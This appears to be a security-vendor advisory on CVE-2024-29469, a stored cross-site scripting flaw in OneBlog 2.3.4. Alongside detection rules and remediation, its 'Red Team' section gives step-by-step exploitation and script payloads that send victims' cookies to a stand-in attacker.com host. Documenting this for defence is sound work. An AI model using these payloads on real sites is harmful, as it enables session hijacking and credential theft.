CVE-2024-29469
Executive Summary
CVE-2024-29469 is a stored cross-site scripting (XSS) vulnerability identified in OneBlog version 2.3.4, specifically within the Lab module's Category List parameter. An authenticated attacker with low privileges can inject arbitrary web scripts or HTML into the Category List field. When an administrator or other user views the affected page, the malicious payload executes in their browser context, potentially leading to session hijacking, credential theft, or defacement. The vulnerability has a CVSS v3.1 base score of 4.8 (Medium), with a public proof-of-concept available. No official patch has been released by the vendor, making this a high-priority issue for organizations using OneBlog.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
OneBlog is a Java-based open-source blogging platform. The vulnerability resides in the application's own code, not in any third-party library or package. However, organizations should verify the integrity of their OneBlog installation and monitor for any unofficial patches or forks that address this issue.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
- Base Score: 4.8 (Medium)
- Attack Vector (AV): Network – The vulnerability can be exploited remotely.
- Attack Complexity (AC): Low – No special conditions are required.
- Privileges Required (PR): Low – An attacker needs a valid user account with access to the Lab module.
- User Interaction (UI): Required – The victim must visit the page containing the malicious payload.
- Scope (S): Changed – The impact extends beyond the vulnerable component.
- Confidentiality (C): Low – Limited information disclosure possible.
- Integrity (I): Low – Limited ability to modify content.
- Availability (A): None – No impact on availability.
Threat Level: Medium. While the CVSS score is moderate, the availability of a public PoC and the lack of a patch increase the risk. Attackers can chain this with social engineering to target privileged users.
Deep Dive & Mechanics
The vulnerability is a classic stored XSS (Cross-Site Scripting) flaw. The application fails to properly sanitize user input in the "Category List" parameter of the Lab module. When an attacker submits a crafted payload (e.g., <script>alert('XSS')</script>), it is stored in the database without encoding or escaping. Subsequently, when any user (including administrators) navigates to the Lab module's category management page, the payload is rendered in the HTML response, causing the browser to execute the injected script.
Root Cause: The lack of output encoding or input validation on the Category List parameter. The application likely uses a template engine that does not automatically escape HTML in this specific field, or the developer explicitly disabled escaping.
Attack Flow:
- Attacker logs in with a low-privileged account.
- Attacker navigates to the Lab module and adds a new category.
- In the "Category List" field, the attacker injects a malicious script (e.g.,
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>). - The payload is stored in the database.
- An administrator or other user visits the Lab module's category list page.
- The browser renders the malicious script, executing it in the victim's session.
- The attacker can now steal cookies, perform actions on behalf of the victim, or deface the page.
Vulnerable vs. Patched Code
Vulnerable Code (OneBlog v2.3.4):
// Example of vulnerable code in CategoryController.java
@PostMapping("/admin/category/save")
public String saveCategory(Category category) {
// Directly saves user input without sanitization
categoryService.save(category);
return "redirect:/admin/category/list";
}
Patched Code (Hypothetical fix):
// Patched version with HTML encoding
@PostMapping("/admin/category/save")
public String saveCategory(@Valid @RequestBody Category category) {
// Sanitize input using a library like OWASP Java HTML Sanitizer
String sanitized = HtmlSanitizer.sanitize(category.getCategoryList());
category.setCategoryList(sanitized);
categoryService.save(category);
return "redirect:/admin/category/list";
}
Key Difference: The patched code sanitizes the input before storing it, preventing script execution. The vulnerable code stores the raw input.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- OneBlog v2.3.4 instance with a registered user account.
- Access to the Lab module.
Exploit Payload:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
Step-by-Step Exploitation:
- Log in to OneBlog with a valid user account.
- Navigate to
http://target.com/admin/lab/category/add. - In the "Category List" field, enter the payload:
<script>alert('XSS')</script>(for testing) or a more malicious payload. - Submit the form.
- Wait for an administrator to visit the Lab module's category list page (
/admin/lab/category/list). - The payload executes, sending the admin's cookies to your server.
Advanced Payload (Session Hijacking):
<script>
var img = new Image();
img.src = 'https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie);
</script>
Blue Team (Defensive)
Detection Steps:
- Monitor web application logs for suspicious POST requests to
/admin/lab/category/savecontaining HTML tags or JavaScript. - Review database entries in the
categorytable for encoded or raw script tags. - Use a web application firewall (WAF) to block common XSS patterns.
Mitigation Steps:
- Apply input validation and output encoding on the Category List parameter.
- Implement Content Security Policy (CSP) headers to restrict script execution.
- Regularly scan for stored XSS using automated tools.
Indicators of Compromise (IOCs)
Network IOCs:
- Outbound HTTP requests to attacker-controlled domains containing cookie data (e.g.,
GET /steal?cookie=...). - Suspicious POST requests to
/admin/lab/category/savewith payloads containing<script>,<img>, or<iframe>tags.
Host IOCs:
- Database entries in the
categorytable containing HTML/JavaScript code in thecategory_listfield. - Web server logs showing repeated access to
/admin/lab/category/listfrom different IPs.
File IOCs:
- Modified or new JavaScript files in the webroot (if attacker uploaded a backdoor).
Detection Engineering
YARA Rule
rule Detect_OneBlog_Stored_XSS_CVE_2024_29469 {
meta:
description = "Detects stored XSS payloads in OneBlog category list"
author = "Valters IT"
date = "2024-01-01"
reference = "CVE-2024-29469"
strings:
$xss_payload = /<script[^>]*>.*<\/script>/i
$xss_img = /<img[^>]*onerror\s*=/i
$xss_iframe = /<iframe[^>]*src\s*=/i
condition:
any of them
}
Sigma Rule
title: OneBlog Stored XSS via Category List
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects stored XSS attempts in OneBlog Category List parameter
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/admin/lab/category/save'
cs-uri-query|contains:
- '<script'
- '<img'
- '<iframe'
condition: selection
falsepositives:
- Legitimate use of HTML in category names (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"OneBlog Stored XSS Attempt - Category List"; flow:to_server; content:"POST"; http_method; content:"/admin/lab/category/save"; http_uri; pcre:"/<script|<img|<iframe/Ri"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the Lab module if not in use, or restrict access to trusted administrators only.
- Apply a WAF rule to block requests containing
<script>,<img>, or<iframe>in the Category List parameter. - Manually sanitize existing data by scanning the database for malicious entries and removing them.
Long-Term Fix:
- Since no official patch is available, consider forking the repository and implementing input validation and output encoding. Use a library like OWASP Java HTML Sanitizer to allow only safe HTML tags.
- Upgrade to a newer version of OneBlog if available, or migrate to an alternative blogging platform.
Workaround:
- Implement a Content Security Policy (CSP) header that blocks inline scripts:
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted-cdn.com;
Valters IT
Securing Digital Frontiers